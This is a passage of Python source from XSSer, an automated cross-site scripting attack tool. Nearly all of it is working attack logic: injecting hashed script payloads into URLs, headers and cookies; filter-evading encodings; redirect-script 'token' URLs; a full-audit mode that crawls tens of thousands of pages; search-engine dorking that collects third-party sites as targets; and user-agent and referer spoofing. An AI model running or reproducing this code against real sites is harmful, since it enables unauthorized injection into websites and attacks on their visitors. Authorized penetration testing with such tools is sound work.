  1330. self.check_hash_on_target(hashing, dest_url, orig_url, payload, query_string, method, curl_handle)
  1331. else:
  1332. self.check_hash_on_target(hashing, dest_url, orig_url, payload, query_string, method, curl_handle)
  1333. self.report("")
  1334. def check_hash_on_target(self, hashing, dest_url, orig_url, payload, query_string, method, curl_handle):
  1335. options = self.options
  1336. c_info = str(curl_handle.info())
  1337. c_body = str(curl_handle.body())
  1338. if payload["browser"] == "[Data Control Protocol Injection]": # [DCP Injection]
  1339. b64_string = payload["payload"].split("[B64]")
  1340. b64_string = b64_string[1]
  1341. b64_string = b64_string.replace('PAYLOAD', hashing)
  1342. b64_string = b64encode(b64_string)
  1343. if b64_string.startswith("="):
  1344. b64_string = b64_string.replace("=", "")
  1345. hashing = b64_string
  1346. if str(hashing) in c_body and "http-code: 200" in c_info: # [XSS CHECKPOINT: anti-false positives]
  1347. self.check_false_positives(hashing, c_body, dest_url, payload, query_string, orig_url, method)
  1348. else:
  1349. self.add_failure(dest_url, payload, hashing, query_string, orig_url, method) # failed!
  1350. def check_false_positives(self, hashing, c_body, dest_url, payload, query_string, orig_url, method):
  1351. # some anti false positives checkers
  1352. if str(self.options.discode) in c_body: # provided by user
  1353. self.report("[Info] Reply contains code [ --discode ] provided to be discarded -> [DISCARDING!]\n")
  1354. self.add_failure(dest_url, payload, hashing, query_string, orig_url, method) # failed!
  1355. else:
  1356. if str('/&gt;' + hashing) in c_body or str('href=' + dest_url + hashing) in c_body or str('content=' + dest_url + hashing) in c_body:
  1357. self.report("[Info] Reply looks like a 'false positive' -> [DISCARDING!]\n")
  1358. self.add_failure(dest_url, payload, hashing, query_string, orig_url, method) # failed!
  1359. elif str(hashing+",") in c_body or str(hashing+'","') in c_body:
  1360. self.report("[Info] Reply looks like a 'false positive' -> [DISCARDING!]\n")
  1361. self.add_failure(dest_url, payload, hashing, query_string, orig_url, method) # failed!
  1362. else:
  1363. if self.options.discode:
  1364. self.report("[Info] Reply does NOT contain code [ --discode ] provided to be discarded -> [ADDING!] ;-)\n")
  1365. self.add_success(dest_url, payload, hashing, query_string, orig_url, method) # success!
  1366. def add_failure(self, dest_url, payload, hashing, query_string, orig_url, method='url'):
  1367. """
  1368. Add an attack that failed to inject
  1369. """
  1370. if method == "heuristic":
  1371. self.report(" [ NOT-FOUND ] -> [ " + str(payload) + " ] : [ " + str(hashing)+ " ]")
  1372. self.hash_notfound.append((dest_url, "[Heuristic test]", method, hashing, query_string, payload, orig_url))
  1373. elif method == "hashing check":
  1374. self.report(" [ NOT-FOUND ] -> [ " + str(hashing) + " ] : [ hashing_check ]")
  1375. self.hash_notfound.append((dest_url, "[hashing check]", method, hashing, query_string, payload, orig_url))
  1376. else:
  1377. self.report(" [ NOT-FOUND ] -> [ " + hashing + " ] : [ " + method + " ]")
  1378. self.hash_notfound.append((dest_url, payload['browser'], method, hashing, query_string, payload, orig_url))
  1379. def add_success(self, dest_url, payload, hashing, query_string, orig_url, method='url'):
  1380. """
  1381. Add an attack that managed to inject the code
  1382. """
  1383. if method == "heuristic":
  1384. self.report(" [ FOUND! ] -> [ " + str(payload) + " ] : [ " + str(hashing)+ " ]")
  1385. self.hash_found.append((dest_url, "[Heuristic test]", method, hashing, query_string, payload, orig_url))
  1386. elif method == "hashing check":
  1387. self.report(" [ FOUND! ] -> [ " + str(payload) + " ] : [ " + str(hashing)+ " ]")
  1388. self.hash_found.append((dest_url, "[hashing check]", method, hashing, query_string, payload, orig_url))
  1389. else:
  1390. payload_sub = payload['payload']
  1391. self.report(" [ FOUND! ] -> [ " + hashing + " ] : [ " + method + " ] -> [ " + payload_sub + " ]")
  1392. self.hash_found.append((dest_url, payload['browser'], method, hashing, query_string, payload, orig_url))
  1393. for reporter in self._reporters:
  1394. reporter.add_success(dest_url)
  1395. if self.options.reversecheck:
  1396. if self.options.dcp or self.options.inducedcode or self.options.dom:
  1397. pass
  1398. else:
  1399. self.do_token_check(orig_url, hashing, payload, query_string, dest_url)
  1400. def do_token_check(self, orig_url, hashing, payload, query_string, dest_url):
  1401. if "VECTOR" in orig_url:
  1402. dest_url = orig_url
  1403. else:
  1404. if not dest_url.endswith("/"):
  1405. dest_url = dest_url + "/"
  1406. dest_url = orig_url + query_string + payload['payload']
  1407. tok_url = None
  1408. self_url = "http://localhost:19084/success/" + hashing
  1409. shadow_js_inj = "document.location=document.location.hash.substring(1)"
  1410. shadow_inj = "<script>" + shadow_js_inj + "</script>"
  1411. shadow_js_inj = shadow_js_inj
  1412. dest_url = dest_url.split("#")[0]
  1413. def requote(what):
  1414. return urllib.parse.quote_plus(what)
  1415. vector_and_payload = payload['payload']
  1416. _e = self.encoding_permutations
  1417. if 'XSS' in dest_url:
  1418. dest_url = dest_url.replace('XSS', vector_and_payload)
  1419. if 'X1S' in dest_url:
  1420. dest_url = dest_url.replace('XSS', vector_and_payload)
  1421. if 'VECTOR' in dest_url:
  1422. dest_url = dest_url.replace('VECTOR', vector_and_payload)
  1423. if '">PAYLOAD' in dest_url:
  1424. tok_url = dest_url.replace('">PAYLOAD', _e('">' + shadow_inj))
  1425. tok_url += '#' + self_url
  1426. elif "'>PAYLOAD" in dest_url:
  1427. tok_url = dest_url.replace("'>PAYLOAD", _e("'>" + shadow_inj))
  1428. tok_url += '#' + self_url
  1429. elif "javascript:PAYLOAD" in dest_url:
  1430. tok_url = dest_url.replace('javascript:PAYLOAD',
  1431. self.encoding_permutations("window.location='" + self_url+"';"))
  1432. tok_url = dest_url.replace("javascript:PAYLOAD",
  1433. _e("javascript:" + shadow_js_inj))
  1434. tok_url+= '#' + self_url
  1435. elif '"PAYLOAD"' in dest_url:
  1436. tok_url = dest_url.replace('"PAYLOAD"', '"' + self_url + '"')
  1437. elif "'PAYLOAD'" in dest_url:
  1438. tok_url = dest_url.replace("'PAYLOAD'", "'" + self_url + "'")
  1439. elif 'PAYLOAD' in dest_url and 'SRC' in dest_url:
  1440. tok_url = dest_url.replace('PAYLOAD', self_url)
  1441. elif "SCRIPT" in dest_url:
  1442. tok_url = dest_url.replace('PAYLOAD',
  1443. shadow_js_inj)
  1444. tok_url += '#' + self_url
  1445. elif 'onerror="PAYLOAD"' in dest_url:
  1446. tok_url = dest_url.replace('onerror="PAYLOAD"', _e('onerror="' + shadow_inj + '"'))
  1447. tok_url+= '#' + self_url
  1448. elif 'onerror="javascript:PAYLOAD"' in dest_url:
  1449. tok_url = dest_url.replace('javascript:PAYLOAD',
  1450. self.encoding_permutations("window.location='" + self_url+"';"))
  1451. tok_url = dest_url.replace('onerror="javascript:PAYLOAD"',
  1452. _e('onerror="javascript:' + shadow_js_inj + '"'))
  1453. tok_url+= '#' + self_url
  1454. elif '<PAYLOAD>' in dest_url:
  1455. tok_url = dest_url.replace("<PAYLOAD>", _e(shadow_inj))
  1456. tok_url+= '#' + self_url
  1457. elif 'PAYLOAD' in dest_url:
  1458. tok_url = dest_url.replace("PAYLOAD", _e(shadow_inj))
  1459. tok_url+= '#' + self_url
  1460. elif 'href' in dest_url and 'PAYLOAD' in dest_url:
  1461. tok_url = dest_url.replace('PAYLOAD', self_url)
  1462. elif 'HREF' in dest_url and 'PAYLOAD' in dest_url:
  1463. tok_url = dest_url.replace('PAYLOAD', self_url)
  1464. elif 'url' in dest_url and 'PAYLOAD' in dest_url:
  1465. tok_url = dest_url.replace('PAYLOAD', self_url)
  1466. self.final_attacks[hashing] = {'url': tok_url}
  1467. if tok_url:
  1468. try:
  1469. if self.options.reverseopen:
  1470. self.report("\n" + "-"*25+"\n")
  1471. self.report("[Info] Launching web browser (default) with a 'token' url...")
  1472. self._webbrowser.open(tok_url)
  1473. except:
  1474. pass
  1475. def _report_attack_failure(self, curl_handle, dest_url, payload,\
  1476. query_string, orig_url):
  1477. """
  1478. report connection failure of an attack
  1479. """
  1480. options = self.options
  1481. current_hashes = [] # to check for ongoing hashes
  1482. if payload['browser'] == "[Heuristic test]":
  1483. for key, value in self.hashed_injections.items():
  1484. if key not in current_hashes:
  1485. self.final_hashes[key] = value
  1486. current_hashes.append(key)
  1487. elif self.options.hash:
  1488. for key, value in self.hashed_injections.items():
  1489. self.final_hashes[key] = value
  1490. current_hashes.append(key)
  1491. else:
  1492. self.report("-"*45)
  1493. self.report("\n[!] Hashing: \n")
  1494. for key, value in self.hashed_injections.items():
  1495. if str(key) in str(dest_url): # GET
  1496. if key not in current_hashes:
  1497. self.report(" [ " +key+" ] : [" , value + " ]")
  1498. self.final_hashes[key] = value
  1499. current_hashes.append(key)
  1500. else:
  1501. if payload["browser"] == "[Data Control Protocol Injection]": # [DCP Injection]
  1502. b64_string = payload["payload"].split("[B64]")
  1503. b64_string = b64_string[1]
  1504. b64_string = b64_string.replace('PAYLOAD', key)
  1505. b64_string = b64encode(b64_string)
  1506. b64_string = urllib.parse.urlencode({'':b64_string})
  1507. if b64_string.startswith("="):
  1508. b64_string = b64_string.replace("=", "")
  1509. if str(b64_string) in str(dest_url):
  1510. if key not in current_hashes:
  1511. self.report(" [ " +key+" ] : [" , value + " ]")
  1512. self.final_hashes[key] = value
  1513. current_hashes.append(key)
  1514. else: # when using encoders (Str, Hex, Dec...)
  1515. payload_string = payload["payload"].replace("PAYLOAD", key)
  1516. hashed_payload = self.encoding_permutations(payload_string)
  1517. if self.options.Cem:
  1518. enc_perm = options.Cem.split(",")
  1519. for e in enc_perm:
  1520. hashed_payload = self.encoding_permutations(payload_string)
  1521. if e == "Str":
  1522. hashed_payload = hashed_payload.replace(",", "%2C")
  1523. if e == "Mix":
  1524. hashed_payload=urllib.parse.quote(hashed_payload)
  1525. if e == "Dec":
  1526. hashed_payload = hashed_payload.replace("&#", "%26%23")
  1527. if e == "Hex":
  1528. hashed_payload = hashed_payload.replace("%", "%25")
  1529. if e == "Hes":
  1530. hashed_payload = hashed_payload.replace("&#", "%26%23")
  1531. hashed_payload = hashed_payload.replace(";", "%3B")
  1532. else:
  1533. if self.options.Str:
  1534. hashed_payload = hashed_payload.replace(",", "%2C")
  1535. if self.options.Mix:
  1536. hashed_payload=urllib.parse.quote(hashed_payload)
  1537. if self.options.Dec:
  1538. hashed_payload = hashed_payload.replace("&#", "%26%23")
  1539. if self.options.Hex:
  1540. hashed_payload = hashed_payload.replace("%", "%25")
  1541. if self.options.Hes:
  1542. hashed_payload = hashed_payload.replace("&#", "%26%23")
  1543. hashed_payload = hashed_payload.replace(";", "%3B")
  1544. if str(hashed_payload) in str(dest_url):
  1545. if key not in current_hashes:
  1546. self.report(" [ " +key+" ] : [" , value + " ]")
  1547. self.final_hashes[key] = value
  1548. current_hashes.append(key)
  1549. if self.extra_hashed_injections:
  1550. for k, v in self.extra_hashed_injections.items():
  1551. payload_url = str(v[1])
  1552. if payload_url == payload["payload"]:
  1553. if k not in current_hashes:
  1554. self.report(" [ " +k+" ] : [" , v[0] + " ]")
  1555. self.final_hashes[k] = v[0]
  1556. current_hashes.append(k)
  1557. self.report("\n"+"-"*45+"\n")
  1558. if payload['browser'] == "[Heuristic test]":
  1559. self.report("[+] Checking: " + str(payload['payload']).strip('XSS'), "\n")
  1560. else:
  1561. if self.extra_hashed_injections:
  1562. extra_attacks=[]
  1563. if options.xsa:
  1564. extra_attacks.append("XSA")
  1565. if options.xsr:
  1566. extra_attacks.append("XSR")
  1567. if options.coo:
  1568. extra_attacks.append("COO")
  1569. if extra_attacks:
  1570. extra_attacks = "+ "+ str(extra_attacks)
  1571. if options.postdata:
  1572. self.report("[*] Trying: " + extra_attacks + "\n\n" + orig_url.strip(), "(POST:", query_string + ") \n")
  1573. else:
  1574. self.report("[*] Trying: " + extra_attacks + "\n\n" + dest_url.strip()+"\n")
  1575. else:
  1576. if options.postdata:
  1577. self.report("[*] Trying: \n\n" + orig_url.strip(), "(POST:", query_string + ")\n")
  1578. else:
  1579. self.report("[*] Trying: \n\n" + dest_url.strip()+"\n")
  1580. if not self.options.hash and not self.options.script:
  1581. if not "XSS" in dest_url or not "X1S" in dest_url and self.options.xsa or self.options.xsr or self.options.coo:
  1582. pass
  1583. else:
  1584. self.report("-"*45)
  1585. if payload['browser'] == "[Heuristic test]" or payload['browser'] == "[hashed_precheck_system]" or payload['browser'] == "[manual_injection]":
  1586. pass
  1587. else:
  1588. if not "XSS" in dest_url or not "X1S" in dest_url:
  1589. if self.options.xsa or self.options.xsr or self.options.coo:
  1590. pass
  1591. else:
  1592. self.report("-"*45)
  1593. self.report("\n[+] Vulnerable(s): \n\n " + payload['browser'] + "\n")
  1594. if not self.options.verbose:
  1595. self.report("-"*45 + "\n")
  1596. else:
  1597. self.report("-"*45)
  1598. self.report("\n[+] Vulnerable(s): \n\n " + payload['browser'] + "\n")
  1599. if not self.options.verbose:
  1600. self.report("-"*45 + "\n")
  1601. # statistics injections counters
  1602. if payload['browser']=="[hashed_precheck_system]" or payload['browser']=="[Heuristic test]":
  1603. self.check_positives = self.check_positives + 1
  1604. elif payload['browser']=="[Data Control Protocol Injection]":
  1605. self.dcp_injection = self.dcp_injection + 1
  1606. elif payload['browser']=="[Document Object Model Injection]":
  1607. self.dom_injection = self.dom_injection + 1
  1608. elif payload['browser']=="[Induced Injection]":
  1609. self.httpsr_injection = self.httpsr_injection + 1
  1610. elif payload['browser']=="[manual_injection]":
  1611. self.manual_injection = self.manual_injection + 1
  1612. else:
  1613. self.auto_injection = self.auto_injection +1
  1614. if not self.hashed_injections:
  1615. for k, v in self.extra_hashed_injections.items():
  1616. if k in current_hashes:
  1617. if v[0] == "XSA":
  1618. agent = v[1]
  1619. agent = agent.replace("PAYLOAD", k)
  1620. Curl.agent = agent
  1621. if v[0] == "XSR":
  1622. referer = v[1]
  1623. referer = referer.replace("PAYLOAD", k)
  1624. Curl.referer = referer
  1625. if v[0] == "COO":
  1626. cookie = v[1]
  1627. cookie = cookie.replace("PAYLOAD", k)
  1628. Curl.cookie = cookie
  1629. else:
  1630. for key, value in self.hashed_injections.items():
  1631. for k, v in self.extra_hashed_injections.items():
  1632. payload_url = v[1]
  1633. payload_url = payload_url.replace("PAYLOAD",key)
  1634. payload_url = payload_url.replace(" ", "+") # black magic!
  1635. final_dest_url = str(urllib.parse.unquote(dest_url.strip()))
  1636. if payload_url in final_dest_url:
  1637. if v[0] == "XSA":
  1638. agent = v[1]
  1639. agent = agent.replace("PAYLOAD", k)
  1640. Curl.agent = agent
  1641. if v[0] == "XSR":
  1642. referer = v[1]
  1643. referer = referer.replace("PAYLOAD", k)
  1644. Curl.referer = referer
  1645. if v[0] == "COO":
  1646. cookie = v[1]
  1647. cookie = cookie.replace("PAYLOAD", k)
  1648. Curl.cookie = cookie
  1649. else:
  1650. if k in current_hashes:
  1651. if v[0] == "XSA":
  1652. agent = v[1]
  1653. agent = agent.replace("PAYLOAD", k)
  1654. Curl.agent = agent
  1655. if v[0] == "XSR":
  1656. referer = v[1]
  1657. referer = referer.replace("PAYLOAD", k)
  1658. Curl.referer = referer
  1659. if v[0] == "COO":
  1660. cookie = v[1]
  1661. cookie = cookie.replace("PAYLOAD", k)
  1662. Curl.cookie = cookie
  1663. if options.verbose:
  1664. self.report("-"*45)
  1665. self.report("\n[+] HTTP Headers Verbose:\n")
  1666. self.report(" [Client Request]")
  1667. Curl.print_options()
  1668. self.report(" [Server Reply]\n")
  1669. self.report(curl_handle.info())
  1670. self.report("="*45)
  1671. self.report("[*] Injection(s) Results:")
  1672. self.report("="*45 + "\n")
  1673. if payload['browser']=="[Heuristic test]":
  1674. for key, value in self.final_hashes.items():
  1675. if str(key) in dest_url:
  1676. heuristic_string = key
  1677. heuristic_param = str(payload['payload']).strip('XSS')
  1678. if heuristic_param == "\\":
  1679. self.heuris_backslash_notfound = self.heuris_backslash_notfound + 1
  1680. elif heuristic_param == "/":
  1681. self.heuris_slash_notfound = self.heuris_slash_notfound + 1
  1682. elif heuristic_param == ">":
  1683. self.heuris_mayor_notfound = self.heuris_mayor_notfound + 1
  1684. elif heuristic_param == "<":
  1685. self.heuris_minor_notfound = self.heuris_minor_notfound + 1
  1686. elif heuristic_param == ";":
  1687. self.heuris_semicolon_notfound = self.heuris_semicolon_notfound + 1
  1688. elif heuristic_param == "'":
  1689. self.heuris_colon_notfound = self.heuris_colon_notfound + 1
  1690. elif heuristic_param == '"':
  1691. self.heuris_doublecolon_notfound = self.heuris_doublecolon_notfound + 1
  1692. elif heuristic_param == "=":
  1693. self.heuris_equal_notfound = self.heuris_equal_notfound + 1
  1694. self.add_failure(dest_url, heuristic_param, value, query_string, orig_url, 'heuristic') # heuristic fail
  1695. elif self.options.hash:
  1696. for key, value in self.final_hashes.items():
  1697. self.add_failure(dest_url, key, value, query_string, orig_url, 'hashing check') # hashing_check fail
  1698. self.report("\n" +"="*45)
  1699. else:
  1700. for key, value in self.final_hashes.items():
  1701. if "XSA" in value:
  1702. method = "xsa"
  1703. hashing = key
  1704. elif "XSR" in value:
  1705. method = "xsr"
  1706. hashing = key
  1707. elif "COO" in value:
  1708. method = "coo"
  1709. hashing = key
  1710. else:
  1711. method = "url"
  1712. hashing = key
  1713. if self.options.Str:
  1714. payload_string = payload["payload"].replace("PAYLOAD", key)
  1715. hashed_payload = self.encoding_permutations(payload_string)
  1716. hashed_payload = hashed_payload.replace(",", "%2C")
  1717. if str(hashed_payload) in str(dest_url):
  1718. self.add_failure(dest_url, payload, key, query_string, orig_url, value) # failed!
  1719. elif self.options.Mix:
  1720. payload_string = payload["payload"].replace("PAYLOAD", key)
  1721. hashed_payload = self.encoding_permutations(payload_string)
  1722. hashed_payload=urllib.parse.quote(hashed_payload)
  1723. if str(hashed_payload) in str(dest_url):
  1724. self.add_failure(dest_url, payload, key, query_string, orig_url, value) # failed!
  1725. elif self.options.Dec:
  1726. payload_string = payload["payload"].replace("PAYLOAD", key)
  1727. hashed_payload = self.encoding_permutations(payload_string)
  1728. hashed_payload = hashed_payload.replace("&#", "%26%23")
  1729. if str(hashed_payload) in str(dest_url):
  1730. self.add_failure(dest_url, payload, key, query_string, orig_url, value) # failed!
  1731. elif self.options.Hex:
  1732. payload_string = payload["payload"].replace("PAYLOAD", key)
  1733. hashed_payload = self.encoding_permutations(payload_string)
  1734. hashed_payload = hashed_payload.replace("%", "%25")
  1735. if str(hashed_payload) in str(dest_url):
  1736. self.add_failure(dest_url, payload, key, query_string, orig_url, value) # failed!
  1737. elif self.options.Hes:
  1738. payload_string = payload["payload"].replace("PAYLOAD", key)
  1739. hashed_payload = self.encoding_permutations(payload_string)
  1740. hashed_payload = hashed_payload.replace("&#", "%26%23")
  1741. hashed_payload = hashed_payload.replace(";", "%3B")
  1742. if str(hashed_payload) in str(dest_url):
  1743. self.add_failure(dest_url, payload, key, query_string, orig_url, value) # failed!
  1744. else:
  1745. if self.options.Cem:
  1746. enc_perm = options.Cem.split(",")
  1747. payload_string = payload["payload"].replace("PAYLOAD", key)
  1748. for e in enc_perm:
  1749. hashed_payload = self.encoding_permutations(payload_string)
  1750. if str(e) == "Str":
  1751. hashed_payload = hashed_payload.replace(",", "%2C")
  1752. if e == "Mix":
  1753. hashed_payload=urllib.parse.quote(hashed_payload)
  1754. if e == "Dec":
  1755. hashed_payload = hashed_payload.replace("&#", "%26%23")
  1756. if e == "Hex":
  1757. hashed_payload = hashed_payload.replace("%", "%25")
  1758. if e == "Hes":
  1759. hashed_payload = hashed_payload.replace("&#", "%26%23")
  1760. hashed_payload = hashed_payload.replace(";", "%3B")
  1761. if str(hashed_payload) in str(dest_url):
  1762. self.add_failure(dest_url, payload, key, query_string, orig_url, value) # failed!
  1763. else:
  1764. if str(key) in str(dest_url):
  1765. self.add_failure(dest_url, payload, key, query_string, orig_url, value) # failed!
  1766. else:
  1767. if key in current_hashes:
  1768. if method == "xsa":
  1769. self.add_failure(dest_url, payload, key, query_string, orig_url, "XSA") # failed!
  1770. elif method == "xsr":
  1771. self.add_failure(dest_url, payload, key, query_string, orig_url, "XSR") # failed!
  1772. elif method == "coo":
  1773. self.add_failure(dest_url, payload, key, query_string, orig_url, "COO") # failed!
  1774. self.report("\n" +"="*45)
  1775. if str(curl_handle.info()["http-code"]) == "404":
  1776. self.report("\n[Error] 404 Not Found: The server has not found anything matching the Request-URI\n")
  1777. elif str(curl_handle.info()["http-code"]) == "403":
  1778. self.report("\n[Error] 403 Forbidden: The server understood the request, but is refusing to fulfill it\n")
  1779. elif str(curl_handle.info()["http-code"]) == "400":
  1780. self.report("\n[Error] 400 Bad Request: The request could not be understood by the server due to malformed syntax\n")
  1781. elif str(curl_handle.info()["http-code"]) == "401":
  1782. self.report("\n[Error] 401 Unauthorized: The request requires user authentication\n\nIf you are trying to authenticate: Login is failing!\n\ncheck:\n- authentication type is correct for the type of realm (basic, digest, gss, ntlm...)\n- credentials 'user:password' are typed correctly\n")
  1783. elif str(curl_handle.info()["http-code"]) == "407":
  1784. self.report("\n[Error] 407 Proxy Authentication Required: XSSer must first authenticate itself with the proxy\n")
  1785. elif str(curl_handle.info()["http-code"]) == "408":
  1786. self.report("\n[Error] 408 Request Timeout: XSSer did not produce a request within the time that the server was prepared to wait\n")
  1787. elif str(curl_handle.info()["http-code"]) == "500":
  1788. self.report("\n[Error] 500 Internal Server Error: The server encountered an unexpected condition which prevented it from fulfilling the request\n")
  1789. elif str(curl_handle.info()["http-code"]) == "501":
  1790. self.report("\n[Error] 501 Not Implemented: The server does not support the functionality required to fulfill the request\n")
  1791. elif str(curl_handle.info()["http-code"]) == "502":
  1792. self.report("\n[Error] 502 Bad Gateway: The server received an invalid response from the upstream server\n")
  1793. elif str(curl_handle.info()["http-code"]) == "503":
  1794. self.report("\n[Error] 503 Service Unavailable: The server is currently unable to handle the request [OFFLINE!]\n")
  1795. elif str(curl_handle.info()["http-code"]) == "504":
  1796. self.report("\n[Error] 504 Gateway Timeout: The server did not receive a timely response specified by the URI (try: --ignore-proxy)\n")
  1797. elif str(curl_handle.info()["http-code"]) == "0":
  1798. self.report("\n[Error] XSSer (or your TARGET) is not working properly...\n\n - Firewall\n - Proxy\n - Target offline\n - [?] ...\n")
  1799. else:
  1800. self.report("\n[Error] Not injected!. Server responses with http-code different to: 200 OK (" + str(curl_handle.info()["http-code"]) + ")\n")
  1801. if str(curl_handle.info()["http-code"]) == "404":
  1802. self.not_connection = self.not_connection + 1
  1803. elif str(curl_handle.info()["http-code"]) == "503":
  1804. self.forwarded_connection = self.forwarded_connection + 1
  1805. else:
  1806. self.other_connection = self.other_connection + 1
  1807. def check_positive(self, curl_handle, dest_url, payload, query_string):
  1808. """
  1809. Perform extra check for positives
  1810. """
  1811. body = curl_handle.body()
  1812. pass
  1813. def create_options(self, args=None):
  1814. """
  1815. Create options for OptionParser.
  1816. """
  1817. self.optionParser = XSSerOptions()
  1818. self.options = self.optionParser.get_options(args)
  1819. if not self.options:
  1820. return False
  1821. return self.options
  1822. def _get_attack_urls(self):
  1823. """
  1824. Process payload options and make up the payload list for the attack.
  1825. """
  1826. urls = []
  1827. options = self.options
  1828. p = self.optionParser
  1829. if options.imx:
  1830. self.create_fake_image(options.imx, options.script)
  1831. return []
  1832. if options.flash:
  1833. self.create_fake_flash(options.flash, options.script)
  1834. return []
  1835. if options.update:
  1836. self.report('='*75)
  1837. self.report(str(p.version))
  1838. self.report('='*75)
  1839. try:
  1840. print("\nTrying to update to the latest stable version...\n")
  1841. Updater()
  1842. except:
  1843. print("\nSomething was wrong!. You should clone XSSer manually with:\n")
  1844. print("$ git clone https://code.03c8.net/epsylon/xsser\n")
  1845. print("\nAlso you can try this other mirror:\n")
  1846. print("$ git clone https://github.com/epsylon/xsser\n")
  1847. return []
  1848. if options.wizard: # processing wizard template
  1849. if self.user_template is not None:
  1850. self.options.statistics = True # detailed output
  1851. if self.user_template[0] == "DORKING": # mass-dorking
  1852. self.options.dork_file = True
  1853. self.options.dork_mass = True
  1854. elif "http" in self.user_template[0]: # from target url
  1855. self.options.url = self.user_template[0]
  1856. else: # from file
  1857. self.options.readfile = self.user_template[0]
  1858. if self.user_template[1] == "CRAWLER": # crawlering target
  1859. self.options.crawling = "10"
  1860. else: # manual payload (GET or POST)
  1861. if self.user_template_conntype == "GET":
  1862. self.options.getdata = self.user_template[1]
  1863. else:
  1864. self.options.postdata = self.user_template[1]
  1865. if self.user_template[2] == "Proxy: No - Spoofing: Yes":
  1866. self.options.ignoreproxy = True
  1867. self.options.agent = "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search" # spoof agent
  1868. self.options.referer = "127.0.0.1" # spoof referer
  1869. elif self.user_template[2] == "Proxy: No - Spoofing: No":
  1870. self.options.ignoreproxy = True
  1871. else: # using proxy + spoofing
  1872. self.options.agent = "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search" # spoof agent
  1873. self.options.referer = "127.0.0.1" # spoof referer
  1874. if self.user_template[2] is not None:
  1875. self.options.proxy = self.user_template[2]
  1876. else:
  1877. self.options.ignoreproxy = True
  1878. if self.user_template[3] == "Not using encoders":
  1879. pass
  1880. elif self.user_template[3] == "Hex": # Hexadecimal
  1881. self.options.Hex = True
  1882. elif self.user_template[3] == "Str+Une": # StringFromCharCode()+Unescape()
  1883. self.options.Str = True
  1884. self.options.Une = True
  1885. else: # Character encoding mutations
  1886. self.options.Cem = self.user_template[3]
  1887. if self.user_template[4] == "Alertbox": # Classic AlertBox injection
  1888. self.options.finalpayload = "<script>alert('XSS');</script>"
  1889. else:
  1890. if self.user_template[4] is not None: # Inject user script
  1891. self.options.finalpayload = self.user_template[4]
  1892. else: # not final injection
  1893. pass
  1894. else: # exit
  1895. return
  1896. if options.target: # miau!
  1897. self.report('='*75)
  1898. self.report(str(p.version))
  1899. self.report('='*75)
  1900. self.report("Testing [Full XSS audit]... ;-)")
  1901. self.report('='*75)
  1902. self.report("\n[Info] The following actions will be performed at the end:\n")
  1903. self.report(" 1- Output with detailed statistics\n")
  1904. self.report(" 2- Export results to files: \n\n - a) XSSreport.raw \n - b) XSSer_<target>_<datetime>.xml\n")
  1905. self.options.crawling = "99999" # set max num of urls to crawl
  1906. self.options.crawler_width = "5" # set max num of deeping levels
  1907. self.options.statistics = True # detailed output
  1908. self.options.timeout = "60" # timeout
  1909. self.options.retries = "2" # retries
  1910. self.options.delay = "5" # delay
  1911. self.options.threads = "10" # threads
  1912. self.options.followred = True # follow redirs
  1913. self.options.nohead = False # HEAD check
  1914. self.options.reversecheck = True # try to establish a reverse connection
  1915. self.options.fuzz = True # autofuzzing
  1916. self.options.coo = True # COO
  1917. self.options.xsa = True # XSA
  1918. self.options.xsr = True # XSR
  1919. self.options.dcp = True # DCP
  1920. self.options.dom = True # DOM
  1921. self.options.inducedcode = True # Induced
  1922. self.options.fileoutput = True # Important: export results to file (.raw)
  1923. self.options.filexml = "XSSer_" + str(self.options.target) + "_" + str(datetime.datetime.now())+".xml" # export xml
  1924. self.check_trace() # XST
  1925. urls = [options.target]
  1926. if options.url:
  1927. self.report('='*75)
  1928. self.report(str(p.version))
  1929. self.report('='*75)
  1930. if self.options.crawling:
  1931. self.report("Testing [XSS from CRAWLER]...")
  1932. else:
  1933. self.report("Testing [XSS from URL]...")
  1934. self.report('='*75)
  1935. urls = [options.url]
  1936. elif options.readfile:
  1937. self.report('='*75)
  1938. self.report(str(p.version))
  1939. self.report('='*75)
  1940. self.report("Testing [XSS from FILE]...")
  1941. self.report('='*75)
  1942. try:
  1943. f = open(options.readfile)
  1944. urls = f.readlines()
  1945. urls = [ line.replace('\n','') for line in urls ]
  1946. f.close()
  1947. except:
  1948. import os.path
  1949. if os.path.exists(options.readfile) == True:
  1950. self.report('\nThere are some errors opening the file: ', options.readfile, "\n")
  1951. else:
  1952. self.report('\nCannot found file: ', options.readfile, "\n")
  1953. elif options.dork: # dork a query
  1954. self.report('='*75)
  1955. self.report(str(p.version))
  1956. self.report('='*75)
  1957. self.report("Testing [XSS from DORK]... Good luck! ;-)")
  1958. self.report('='*75)
  1959. if options.dork_mass: # massive dorkering
  1960. for e in self.search_engines:
  1961. try:
  1962. dorker = Dorker(e)
  1963. urls = dorker.dork(options.dork)
  1964. i = 0
  1965. for u in urls: # replace original parameter for injection keyword (XSS)
  1966. p_uri = urlparse(u)
  1967. uri = p_uri.netloc
  1968. path = p_uri.path
  1969. target_params = parse_qs(urlparse(u).query, keep_blank_values=True)
  1970. for key, value in target_params.items(): # parse params to apply keywords
  1971. for v in value:
  1972. target_params[key] = 'XSS'
  1973. target_url_params = urllib.parse.urlencode(target_params)
  1974. u = p_uri.scheme + "://" + uri + path + "?" + target_url_params
  1975. urls[i] = u
  1976. i = i + 1
  1977. except Exception as e:
  1978. for reporter in self._reporters:
  1979. reporter.mosquito_crashed(dorker.search_url, str(e.message))
  1980. else:
  1981. if urls is not None:
  1982. for url in urls:
  1983. for reporter in self._reporters:
  1984. reporter.add_link(dorker.search_url, url)
  1985. else:
  1986. if not options.dork_engine:
  1987. options.dork_engine = 'duck' # default search engine [26-08/2019]
  1988. dorker = Dorker(options.dork_engine)
  1989. try:
  1990. urls = dorker.dork(options.dork)
  1991. i = 0
  1992. for u in urls: # replace original parameter for injection keyword (XSS)
  1993. p_uri = urlparse(u)
  1994. uri = p_uri.netloc
  1995. path = p_uri.path
  1996. target_params = parse_qs(urlparse(u).query, keep_blank_values=True)
  1997. for key, value in target_params.items(): # parse params to apply keywords
  1998. for v in value:
  1999. target_params[key] = 'XSS'
  2000. target_url_params = urllib.parse.urlencode(target_params)
  2001. u = p_uri.scheme + "://" + uri + path + "?" + target_url_params
  2002. urls[i] = u
  2003. i = i + 1
  2004. except Exception as e:
  2005. for reporter in self._reporters:
  2006. reporter.mosquito_crashed(dorker.search_url, str(e.message))
  2007. else:
  2008. if urls is not None:
  2009. for url in urls:
  2010. for reporter in self._reporters:
  2011. reporter.add_link(dorker.search_url, url)
